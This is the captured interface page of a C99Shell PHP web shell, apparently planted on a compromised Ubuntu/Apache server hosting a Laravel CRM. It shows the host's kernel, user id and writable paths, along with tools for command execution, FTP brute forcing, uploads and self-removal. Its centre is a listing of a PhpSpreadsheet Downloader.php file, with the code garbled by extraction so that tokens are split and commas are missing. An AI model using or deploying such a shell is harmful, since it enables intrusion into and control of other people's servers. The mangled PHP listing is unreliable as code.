!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Helper/   drwxrwxrwx
Free 13.1 GB of 57.97 GB (22.6%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Downloader.php (2.65 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpOffice\PhpSpreadsheet\Helper;

use 
PhpOffice\PhpSpreadsheet\Exception;

class 
Downloader
{
    protected 
string $filepath;

    protected 
string $filename;

    protected 
string $filetype;

    protected const 
CONTENT_TYPES = [
        
'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
        
'xls' => 'application/vnd.ms-excel',
        
'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
        
'csv' => 'text/csv',
        
'html' => 'text/html',
        
'pdf' => 'application/pdf',
    ];

    public function 
__construct(string $folderstring $filename, ?string $filetype null)
    {
        if ((
is_dir($folder) === false) || (is_readable($folder) === false)) {
            throw new 
Exception('Folder is not accessible');
        }
        
$filepath "{$folder}/{$filename}";
        
$this->filepath = (string) realpath($filepath);
        
$this->filename basename($filepath);
        if ((
file_exists($this->filepath) === false) || (is_readable($this->filepath) === false)) {
            throw new 
Exception('File not found, or cannot be read');
        }

        
$filetype ??= pathinfo($filenamePATHINFO_EXTENSION);
        if (
array_key_exists(strtolower($filetype), self::CONTENT_TYPES) === false) {
            throw new 
Exception('Invalid filetype: cannot be downloaded');
        }
        
$this->filetype strtolower($filetype);
    }

    public function 
download(): void
    
{
        
$this->headers();

        
readfile($this->filepath);
    }

    public function 
headers(): void
    
{
        
ob_clean();

        
$this->contentType();
        
$this->contentDisposition();
        
$this->cacheHeaders();
        
$this->fileSize();

        
flush();
    }

    protected function 
contentType(): void
    
{
        
header('Content-Type: ' self::CONTENT_TYPES[$this->filetype]);
    }

    protected function 
contentDisposition(): void
    
{
        
header('Content-Disposition: attachment;filename="' $this->filename '"');
    }

    protected function 
cacheHeaders(): void
    
{
        
header('Cache-Control: max-age=0');
        
// If you're serving to IE 9, then the following may be needed
        
header('Cache-Control: max-age=1');

        
// If you're serving to IE over SSL, then the following may be needed
        
header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past
        
header('Last-Modified: ' gmdate('D, d M Y H:i:s') . ' GMT'); // always modified
        
header('Cache-Control: cache, must-revalidate'); // HTTP/1.1
        
header('Pragma: public'); // HTTP/1.0
    
}

    protected function 
fileSize(): void
    
{
        
header('Content-Length: ' filesize($this->filepath));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--